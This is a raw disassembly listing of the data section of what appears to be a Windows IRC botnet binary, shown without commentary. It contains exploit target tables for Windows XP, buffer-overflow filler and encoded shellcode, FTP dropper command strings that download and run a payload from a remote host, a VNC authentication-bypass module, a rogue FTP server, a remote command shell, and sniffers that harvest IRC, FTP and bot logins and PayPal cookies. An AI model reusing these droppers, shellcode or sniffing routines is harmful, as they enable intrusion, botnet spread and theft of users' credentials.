		sub	al, 0BCh
		jmp	near ptr 544549CAh
; ---------------------------------------------------------------------------
		db 0D0h, 33h, 0Ah
		dd 9505E1E8h, 6AD31E6Bh, 0
dword_4345F8	dd 0EFFFC481h, 44FFFFh,	434644h	; DATA XREF: sub_40CAA5+297o
dword_434604	dd 42Ah			; DATA XREF: sub_40CAA5+24Ar
dword_434608	dd 3E8h			; DATA XREF: sub_40CAA5+2BBr
dword_43460C	dd 258h			; DATA XREF: sub_40CAA5+28Dr
byte_434610	db 1			; DATA XREF: sub_40CAA5+1F6r
					; sub_40CAA5+2C4r
		align 4
		dd offset aWindowsXpSp0Sp ; "Windows XP	(SP0+SP1)"
		dd 2C6h, 264h, 0
		dd 1
dword_434628	dd 20804h		; DATA XREF: sub_40C9A9r
					; sub_40CAA5+2E2o ...
aWindowsXpSp0Sp	db 'Windows XP (SP0+SP1)',0 ; DATA XREF: .nsp0:00434614o
		align 4
		dd 646E6957h, 2073776Fh, 2C34544Eh, 30303220h, 53282030h
		dd 532D3050h
; ---------------------------------------------------------------------------


loc_43465C:				; CODE XREF: .nsp0:004345E0j
		push	eax
		xor	al, 29h


loc_43465F:				; DATA XREF: sub_40CAA5+21Eo
		add	bl, ch
		add	al, [eax]
; ---------------------------------------------------------------------------
		db 0
		align 8
dword_434668	dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 0 ;	DATA XREF: sub_40CAA5+14Eo
dword_43467C	dd 4B324FC8h, 1D31670h,	475A7812h, 88E16EBFh, 0	; DATA XREF: sub_40CAA5+F2o
aSPipeBrowser	db '\\%s\pipe\browser',0 ; DATA XREF: sub_40CAA5+81o
		align 4
aSIpc		db '\\%s\ipc$',0        ; DATA XREF: sub_40CAA5+33o
		align 10h
aCmdCEchoOpen_0	db 'cmd /c echo open %s %d >> ii &echo user 1 1 >> ii &echo get %s >>'
					; DATA XREF: sub_40CFAA+92o
					; sub_40D0EC+92o
		db ' ii &echo bye >> ii &ftp -n -v -s:ii &del ii &%s',0Dh,0Ah,0
dword_434724	dd 200F1001h, 0Ah, 1001802h, 0 ; DATA XREF: sub_40D1DA+5Ao
		dd 14002400h, 0D9D2C9B7h, 34EF333Eh, 431F25h, 2F5C0202h
		dd 3Fh dup(61616161h), 62616161h, 40h dup(62626262h), 22220101h
		dd 3Fh dup(22222222h), 1222222h, 64646401h, 3Fh	dup(64646464h)
		dd 1016464h, 40h dup(65656565h), 66010165h, 40h	dup(66666666h)
		dd 67670101h, 3Fh dup(67676767h), 1676767h, 68686801h
		dd 3Fh dup(68686868h), 1016868h, 40h dup(69696969h), 6A010169h
		dd 40h dup(6A6A6A6Ah), 6B6B0101h, 3Fh dup(6B6B6B6Bh), 16B6B6Bh
		dd 6C6C6C01h, 8	dup(6C6C6C6Ch),	41416C6Ch, 100D06EBh, 6D6D501Eh
		dd 0E983C933h, 0D9EED9B0h, 5BF42474h, 0C8137381h, 83877FD9h
		dd 0F4E2FCEBh, 0CA94B334h, 78802020h, 0EBF4B937h, 0C2F4FDECh
		dd 820352F4h, 0C90D8B0h, 0D8F4C187h, 0CE94D8E8h, 86F4ED43h
		dd 1EBFE826h, 0F3BF5D64h, 8AB518CFh, 73941BC9h,	0AF5B8DF3h
		dd 0D8F43CBDh, 0E194D8ECh, 0C34D543h, 6C7EC597h, 0EF4F5CBh
		dd 0E663FDA4h, 0E3A4E80Bh, 0C4F9A43h, 0F7F4D588h, 0C7F474D4h
		dd 91787C0h, 0D793D786h, 0D4190F37h, 0B54CB1AEh, 0B50CAEA0h
		dd 57808D97h, 7B9212A0h, 518089F3h, 0E19A5097h,	85773449h
		dd 787DB39Dh, 8EA6B118h, 7828743Dh, 0D42C8A1Eh,	0D43C8A9Bh
		dd 57808A8Bh, 0EC5EB1AEh, 66F68AAEh, 9DDBB15Dh,	78281EB8h
		dd 0D66FB31Eh, 0EFAF269Dh, 6E51746Ch, 0D4A9269Fh, 0EFAF269Dh
		dd 0CEF9902Dh, 0D7A9269Fh, 782A8D9Ch, 60174A18h, 0D0061FB1h
		dd 782A0F37h, 0E315BF18h, 0EA1CB1AEh, 0D7153C41h, 0EB3F091h
		dd 0E3BB32Fh, 74BFE82Ah, 0AA3D2762h, 14539B36h,	2C47A345h
		dd 0F5177263h, 78696A36h, 51809DBDh, 0D62D8E93h, 86158899h
		dd 0D62A8899h, 2A170937h, 0D4B1DC11h, 78150F37h, 5780EE37h
		dd 4838E43h, 5180BD0Ch,	0EFAF269Ah, 0D87B5338h,	78A9269Bh
		dd 877FD918h
aMmmmmmmmmmmmmm	db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm',0
		align 4
aVncD_DSSAuthby	db 'VNC%d.%d %s: %s - [AuthBypass]',0 ; DATA XREF: .nsp0:0040D516o
		align 4
aRfb03d_03d	db 'RFB %03d.%03d',0Ah,0 ; DATA XREF: .nsp0:0040D3A3o
		align 4
word_435968	dw 1			; DATA XREF: .nsp0:0040D31Ar
		align 4
dword_43596C	dd 2E646D63h, 657865h	; DATA XREF: sub_40D60D+130o
					; sub_416CC2+21o
aEchoOpenSDOEch	db 'echo open %s %d >> o&echo user 1 >>o &echo 1 >>o &echo get %s >>o'
					; DATA XREF: sub_40D7F9+23Eo
		db ' &echo bye >>o &ftp -n -s:o &del /F /Q o &%s',0Dh,0Ah,0
a221GoodbyeHapp	db '221 Goodbye happy r00ting.',0Ah,0 ; DATA XREF: sub_40DA9B+5EFo
a425CanTOpenDat	db '425 Can',27h,'t open data connection.',0Ah,0
					; DATA XREF: sub_40DA9B+5CEo
		align 4
aFtpTransferCom	db 'ftp transfer complete to: %s',0 ; DATA XREF: sub_40DA9B+57Do
		align 4
a226TransferC_0	db '226 Transfer complete.',0Ah,0 ; DATA XREF: sub_40DA9B+569o
aFtpTransferSta	db 'ftp transfer started to: %s',0 ; DATA XREF: sub_40DA9B+51Fo
a150OpeningBina	db '150 Opening BINARY mode data connection',0Ah,0
					; DATA XREF: sub_40DA9B+4F4o
		align 4
aRetr		db 'RETR',0             ; DATA XREF: sub_40DA9B+4DCo
		align 4
a200PortCommand	db '200 PORT command successful.',0Ah,0 ; DATA XREF: sub_40DA9B+4CCo
		align 4
aS_S_S_S	db '%s.%s.%s.%s',0      ; DATA XREF: sub_40DA9B+4BBo
aXX		db '%x%x',0Ah,0         ; DATA XREF: sub_40DA9B+488o
		align 10h
aS		db '%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^',0Ah ; DATA XREF: sub_40DA9B+447o
		db ']',0
aPort		db 'PORT',0             ; DATA XREF: sub_40DA9B+40Eo
		align 10h
a226TransferCom	db '226 Transfer complete',0Ah,0 ; DATA XREF: sub_40DA9B+3E0o
		align 4
aList_0		db 'LIST',0             ; DATA XREF: sub_40DA9B+3CDo
		align 10h
a425PassiveNotS	db '425 Passive not supported on this server',0Ah,0
					; DATA XREF: sub_40DA9B+395o
		align 4
aPasv		db 'PASV',0             ; DATA XREF: sub_40DA9B+382o
		align 4
a200TypeSetToI_	db '200 Type set to I.',0Ah,0 ; DATA XREF: sub_40DA9B+372o
aI:					; DATA XREF: sub_40DA9B+35Eo
					; .nsp0:00438A10o
		unicode	0, <I>,0
a200TypeSetToA_	db '200 Type set to A.',0Ah,0 ; DATA XREF: sub_40DA9B+33Bo
aA:					; DATA XREF: sub_40DA9B+327o
					; .nsp0:00438A1Co
		unicode	0, <A>,0
aType		db 'TYPE',0             ; DATA XREF: sub_40DA9B:loc_40DDA4o
		align 4
a257IsCurrentDi	db '257 "/" is current directory.',0Ah,0 ; DATA XREF: sub_40DA9B+2FEo
		align 4
off_435BBC	dd offset dword_445750	; DATA XREF: sub_40DA9B+2EAo
a350Restarting_	db '350 Restarting.',0Ah,0 ; DATA XREF: sub_40DA9B+2DDo
		align 4
aRest		db 'REST',0             ; DATA XREF: sub_40DA9B+2C9o
		align 4
a215Stnyftpd	db '215 StnyFtpd',0Ah,0 ; DATA XREF: sub_40DA9B+2BCo
		align 4
aSyst		db 'SYST',0             ; DATA XREF: sub_40DA9B+2A8o
		align 4
a230UserLoggedI	db '230 User logged in.',0Ah,0 ; DATA XREF: sub_40DA9B+29Bo
		align 4
aPass		db 'PASS',0             ; DATA XREF: sub_40DA9B+287o
		align 4
a331PasswordReq	db '331 Password required',0Ah,0 ; DATA XREF: sub_40DA9B+277o
		align 4
aSS_0		db '%s %s',0            ; DATA XREF: sub_40DA9B+251o
		align 4
a220Stnyftpd0wn	db '220 StnyFtpd 0wns j0',0Ah,0 ; DATA XREF: sub_40DA9B+1C9o
		align 4
unk_435C4C	db  2Dh	; -		; DATA XREF: sub_40E1DC+3F8o
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aServerFailedRe	db ' server failed, returned %d',0
asc_435C74	db 0Dh,0Ah,0		; DATA XREF: sub_40E1DC+2CFo
					; sub_416E91+F2o
		align 4
aGet_0		db 'GET ',0             ; DATA XREF: sub_40E1DC+269o
		align 10h
aHttp1_0200Ok_0	db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_40E637+F6o
		db 'Server: myBot',0Dh,0Ah
		db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah
		db 'pragma: no-cache',0Dh,0Ah
		db 'Content-Type: %s',0Dh,0Ah
		db 'Content-Length: %i',0Dh,0Ah
		db 'Accept-Ranges: bytes',0Dh,0Ah
		db 'Date: %s %s GMT',0Dh,0Ah
		db 'Last-Modified: %s %s GMT',0Dh,0Ah
		db 'Expires: %s %s GMT',0Dh,0Ah
		db 'Connection: close',0Dh,0Ah
		db 0Dh,0Ah,0
		align 10h
aHttp1_0200OkSe	db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_40E637+D3o
		db 'Server: myBot',0Dh,0Ah
		db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah
		db 'pragma: no-cache',0Dh,0Ah
		db 'Content-Type: %s',0Dh,0Ah
		db 'Accept-Ranges: bytes',0Dh,0Ah
		db 'Date: %s %s GMT',0Dh,0Ah
		db 'Last-Modified: %s %s GMT',0Dh,0Ah
		db 'Expires: %s %s GMT',0Dh,0Ah
		db 'Connection: close',0Dh,0Ah
		db 0Dh,0Ah,0
		align 4
aHhMmSs		db 'HH:mm:ss',0         ; DATA XREF: sub_40E637+97o
					; sub_417368+1AEo
		align 4
aDddDdMmmYyyy	db 'ddd, dd MMM yyyy',0 ; DATA XREF: sub_40E637+83o
		align 4
aApplicationOct	db 'application/octet-stream',0 ; DATA XREF: sub_40E637:loc_40E69Co
		align 4
aTextHtml	db 'text/html',0        ; DATA XREF: sub_40E637+5Eo
		align 4
unk_435E94	db  2Dh	; -		; DATA XREF: sub_40E7B9+28Fo
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aFailedToSta_29	db ' failed to start worker thread, error %d',0
		align 4
unk_435ECC	db  2Dh	; -		; DATA XREF: sub_40E7B9+20Bo
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aWorkerThreadOf	db ' worker thread of server thread: %d.',0
		align 10h
aS_2		db '\%s',0              ; DATA XREF: sub_40E7B9+2Fo
aFoundIFilesAnd	db 'Found: %i Files and %i Directories',0Dh,0Ah,0
					; DATA XREF: sub_40EA69+64Eo
		align 4
aTrTdColspan3_0	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_40EA69+633o
		db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah
		db '</TABLE>',0Dh,0Ah
		db '</BODY>',0Dh,0Ah
		db '</HTML>',0Dh,0Ah,0
		align 4
aPrivmsgSFoundS	db 'PRIVMSG %s :Found %s Files and %s Directories',0Ah,0
					; DATA XREF: sub_40EA69+618o
		align 4
a31s21sIBytes	db '%-31s  %-21s (%i bytes)',0Dh,0Ah,0 ; DATA XREF: sub_40EA69+589o
		align 10h
aTdTdWidthDCo_0	db '</TD>',0Dh,0Ah      ; DATA XREF: sub_40EA69+561o
		db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d" ALIGN="right"><CODE>%dk</CODE></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
aCodeSCodeA_0	db '"><CODE>%s</CODE></A>',0 ; DATA XREF: sub_40EA69:loc_40EF81o
		align 10h
aCode_30sGtCode	db '"><CODE>%.30s></CODE></A>',0 ; DATA XREF: sub_40EA69+511o
		align 10h
aPrivmsgS31s2_0	db 'PRIVMSG %s :%-31s  %-21s (%s bytes)',0Ah,0 ; DATA XREF: sub_40EA69+471o
		align 4
a31s21s		db '%-31s  %-21s',0Dh,0Ah,0 ; DATA XREF: sub_40EA69+434o
		align 4
aTdTdWidthDCode	db '</TD>',0Dh,0Ah      ; DATA XREF: sub_40EA69+401o
		db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d" ALIGN="right"><CODE>-</CODE></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 10h
aCodeSCodeA	db '"><CODE>%s/</CODE></A>',0 ; DATA XREF: sub_40EA69:loc_40EE2Bo
		align 4
aCode_29sGtCode	db '"><CODE>%.29s>/</CODE></A>',0 ; DATA XREF: sub_40EA69+3BBo
		align 4
aSS_1		db '%s%s/',0            ; DATA XREF: sub_40EA69+374o
		align 10h
aTrTdWidthDAHre	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_40EA69+330o
					; sub_40EA69+486o
		db '<TD WIDTH="%d"><A HREF="',0
		align 10h
aPrivmsgS31s21s	db 'PRIVMSG %s :%-31s  %-21s',0Ah,0 ; DATA XREF: sub_40EA69+30Eo
		align 4
aS_0		db '<%s>',0             ; DATA XREF: sub_40EA69+2E4o
					; sub_40EA69+413o
		align 4
a2_2d2_2d4d2_2d	db '%2.2d/%2.2d/%4d  %2.2d:%2.2d %s',0 ; DATA XREF: sub_40EA69+2BAo
aAm		db 'AM',0               ; DATA XREF: sub_40EA69+290o
		align 4
aPm		db 'PM',0               ; DATA XREF: sub_40EA69+285o
		align 4
a__		db '..',0               ; DATA XREF: sub_40EA69+232o
		align 10h
aTrTdColspan3AH	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_40EA69+1C0o
		db '<TD COLSPAN="3"><A HREF="%s"><CODE>Parent Directory</CODE></A></T'
		db 'D>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 4
aSearchingForS	db 'Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_40EA69+147o
aTrTdColspan3Hr	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_40EA69+12Bo
		db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 4
aTrTdWidthDCode	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_40EA69+F7o
		db '<TD WIDTH="%d"><CODE>Name</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d"><CODE>Last Modified</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d" ALIGN="right"><CODE>Size</CODE></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 10h
aH1IndexOfSH1Ta	db '<H1>Index of %s</H1>',0Dh,0Ah ; DATA XREF: sub_40EA69+ADo
		db '<TABLE BORDER="0">',0Dh,0Ah,0
		align 4
aHtmlHeadTitleI	db '<HTML>',0Dh,0Ah     ; DATA XREF: sub_40EA69+78o
		db '<HEAD>',0Dh,0Ah
		db '<TITLE>Index of %s</TITLE>',0Dh,0Ah
		db '</HEAD>',0Dh,0Ah
		db '<BODY>',0Dh,0Ah,0
		align 4
aPrivmsgSSearch	db 'PRIVMSG %s :Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_40EA69+4Bo
aSSHttp1_1Refer	db '%s %s HTTP/1.1',0Ah ; DATA XREF: sub_40F1D6+8Fo
		db 'Referer: %s',0Ah
		db 'Host: %s',0Ah
		db 'Connection: close',0Ah
		db 0Ah,0
dword_4363A4	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: sub_40F2F7+16Eo
aServerFailed_0	db '- server failed, returned %d',0
		align 10h
aUseridUnixS	db ' : USERID : UNIX : %s',0Dh,0Ah,0 ; DATA XREF: sub_40F2F7+113o
dword_4363E8	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: sub_40F2F7+BBo
aClientConnecti	db '- client connection from %s:%d.',0
unk_436414	db  2Dh	; -		; DATA XREF: sub_40F4A2+15Eo
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    2
		db 3, 2Dh, 20h
aFailedToSta_30	db 'Failed to start client thread, error: <%d>.',0
unk_436450	db  2Dh	; -		; DATA XREF: sub_40F4A2+E9o
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    2
		db 3, 2Dh, 20h
aClientConnec_0	db 'Client connection from IP: %s:%d, Server thread: %d.',0
		align 4
unk_436498	db  2Dh	; -		; DATA XREF: sub_40F633+1AAo
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    3
		db 2, 2Dh, 20h
aFailedToSta_31	db 'Failed to start connection thread, error: <%d>.',0
unk_4364D8	db  2Dh	; -		; DATA XREF: sub_40F633+E1o
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    3
		db 2, 2Dh, 20h
aClientConnec_1	db 'Client connection to IP: %s:%d, Server thread: %d.',0
		align 4
unk_43651C	db  2Dh	; -		; DATA XREF: sub_40F8B7+1E9o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aUserLoggedOutS	db '- User logged out: <%s@%s>.',0
		align 4
unk_436548	db  2Dh	; -		; DATA XREF: sub_40F8B7+1C2o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aErrorSessionru	db '- Error: SessionRun(): <%d>.',0
		align 4
unk_436574	db  2Dh	; -		; DATA XREF: sub_40F8B7+1A2o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aUserLoggedInS@	db '- User logged in: <%s@%s>.',0
aPermissionDeni	db 'Permission denied',0Ah,0 ; DATA XREF: sub_40F8B7+172o
		align 10h
unk_4365B0	db  2Dh	; -		; DATA XREF: sub_40F8B7+E1o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aErrorGetpeerna	db '- Error: getpeername(): <%d>.',0
		align 4
unk_4365DC	db  2Dh	; -		; DATA XREF: sub_40FABC:loc_40FB01o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aProtocolString	db '- Protocol string too long.',0
		align 4
unk_436608	db  2Dh	; -		; DATA XREF: sub_40FB16+1Bo
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aLoginRejectedR	db '- Login rejected, Remote user: <%s@%s>.',0
		align 10h
unk_436640	db  2Dh	; -		; DATA XREF: sub_40FB45+219o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aErrorServerFai	db '- Error: server failed, returned: <%d>.',0
		align 4
unk_436678	db  2Dh	; -		; DATA XREF: sub_40FB45+1FBo
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToSta_32	db '- Failed to start client thread, error: <%d>.',0
		align 4
unk_4366B4	db  2Dh	; -		; DATA XREF: sub_40FB45+177o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aClientConnec_2	db '- Client connection from IP: %s:%d, Server thread: %d.',0
unk_4366F8	db  2Dh	; -		; DATA XREF: sub_40FB45+106o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aReadyAndWaitin	db '- Ready and waiting for incoming connections.',0
		align 4
unk_436734	db  2Dh	; -		; DATA XREF: sub_40FB45+70o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToInstal	db '- Failed to install control-C handler, error: <%d>.',0
		align 4
unk_436778	db  2Dh	; -		; DATA XREF: sub_40FB45+3Do
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aErrorWsastartu	db '- Error: WSAStartup(): <%d>.',0
		align 4
unk_4367A4	db  2Dh	; -		; DATA XREF: sub_40FDCD+DEo
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aWaitformultipl	db '- WaitForMultipleObjects error: <%d>.',0
		align 4
unk_4367D8	db  2Dh	; -		; DATA XREF: sub_40FDCD+59o
					; sub_40FDCD+8Bo
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToCreate	db '- Failed to create ReadShell session thread, error: <%d>.',0
		align 10h
unk_436820	db  2Dh	; -		; DATA XREF: sub_40FF1E+AFo
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToExecut	db '- Failed to execute shell.',0
unk_436848	db  2Dh	; -		; DATA XREF: sub_40FF1E+7Eo
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToCrea_0	db '- Failed to create shell stdin pipe, error: <%d>.',0
		align 4
unk_436888	db  2Dh	; -		; DATA XREF: sub_40FF1E+5Co
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToCrea_1	db '- Failed to create shell stdout pipe, error: <%d>.',0
unk_4368C8	db  2Dh	; -		; DATA XREF: sub_410017+C3o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToExec_0	db '- Failed to execute shell, error: <%d>.',0
		align 10h
aCmdQ		db 'cmd /q',0           ; DATA XREF: sub_410017+8Co
		align 4
unk_436908	db  2Dh	; -		; DATA XREF: sub_4100F0+A1o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aSessionreadshe	db '- SessionReadShellThread exited, error: <%ld>.',0
dword_436944	dd 234032Dh, 6B636F73h,	3023473h ; DATA	XREF: sub_4102C5+1B2o
aFailedToSta_33	db '- Failed to start server on Port %d.',0
		align 4
dword_436978	dd 234032Dh, 6B636F73h,	3023473h ; DATA	XREF: sub_4102C5+18Fo
aFailedToSta_34	db '- Failed to start client thread, error: <%d>.',0
		align 4
dword_4369B4	dd 234032Dh, 6B636F73h,	3023473h ; DATA	XREF: sub_4102C5+114o
aClientConnec_3	db '- Client connection from IP: %s:%d, Server thread: %d.',0
		align 4
dword_4369F8	dd 234032Dh, 6B636F73h,	3023473h ; DATA	XREF: sub_4104CA+1F9o
aErrorFailedToC	db '- Error: Failed to connect to target, returned: <%d>.',0
		align 4
dword_436A3C	dd 234032Dh, 6B636F73h,	3023473h ; DATA	XREF: sub_4104CA+18Ao
aErrorFailedToO	db '- Error: Failed to open socket(), returned: <%d>.',0
		align 4
dword_436A7C	dd 234032Dh, 6B636F73h,	3023473h ; DATA	XREF: sub_4104CA+F2o
aAuthentication	db '- Authentication failed. Remote userid: %s != %s.',0
		align 4
dword_436ABC	dd 4000500h, 7868746Bh,	0 ; DATA XREF: sub_41088E+41Co
aTftpTransferCo	db 'Tftp transfer complete to: %s',0 ; DATA XREF: sub_41088E+3C4o
		align 4
aTftpTransferSt	db 'Tftp transfer started to: %s',0 ; DATA XREF: sub_41088E+2CDo
		align 4
aHashin		db ':!hashin',0         ; DATA XREF: sub_410D1A+103o
		align 4
a_hashin	db ':.hashin',0         ; DATA XREF: sub_410D1A+EEo
		align 10h
aIdent_0	db ':!ident',0          ; DATA XREF: sub_410D1A+D9o
a_ident		db ':.ident',0          ; DATA XREF: sub_410D1A+C8o
a_login		db ':.Login',0          ; DATA XREF: sub_410D1A+B7o
aLogin_0	db ':!Login',0          ; DATA XREF: sub_410D1A+A6o
aLogin_1	db ':!login',0          ; DATA XREF: sub_410D1A+95o
a_login_0	db ':.login',0          ; DATA XREF: sub_410D1A+84o
a366		db '366 ',0             ; DATA XREF: sub_410D1A+73o
		align 4
a302_0		db '302 ',0             ; DATA XREF: sub_410D1A:loc_410D7Co
		align 10h
aJoin_0		db 'JOIN #',0           ; DATA XREF: sub_410D1A+4Do
		align 4
aPsniff		db 'PSNIFF//',0         ; DATA XREF: sub_410D1A+3Co
		align 4
aPsniff_0	db '[PSNIFF]:',0        ; DATA XREF: sub_410D1A+2Bo
		align 10h
aBotSniff	db 'Bot sniff',0        ; DATA XREF: sub_410D1A+5o
		align 4
aYouAreNowAnIrc	db 'You are now an IRC Operator',0 ; DATA XREF: sub_410E31+62o
aOper		db 'oper ',0            ; DATA XREF: sub_410E31+51o
		align 10h
aNick_1		db 'NICK ',0            ; DATA XREF: sub_410E31:loc_410E71o
					; sub_410EA7+2Bo
		align 4
aOper_0		db 'OPER ',0            ; DATA XREF: sub_410E31+2Bo
		align 10h
aIrcSniff	db 'IRC sniff',0        ; DATA XREF: sub_410E31+5o
		align 4
aPass_1		db 'PASS ',0            ; DATA XREF: sub_410EA7+73o
		align 4
aUser_3		db 'USER ',0            ; DATA XREF: sub_410EA7+62o
		align 4
a230		db '230 ',0             ; DATA XREF: sub_410EA7:loc_410EF8o
		align 4
a220		db '220 ',0             ; DATA XREF: sub_410EA7+3Co
		align 4
aFtpSniff	db 'FTP sniff',0        ; DATA XREF: sub_410EA7+5o
		align 4
aSetCookie	db 'Set-Cookie:',0      ; DATA XREF: sub_410F2E+73o
aPaypal_com	db 'paypal.com',0       ; DATA XREF: sub_410F2E+62o
		align 10h
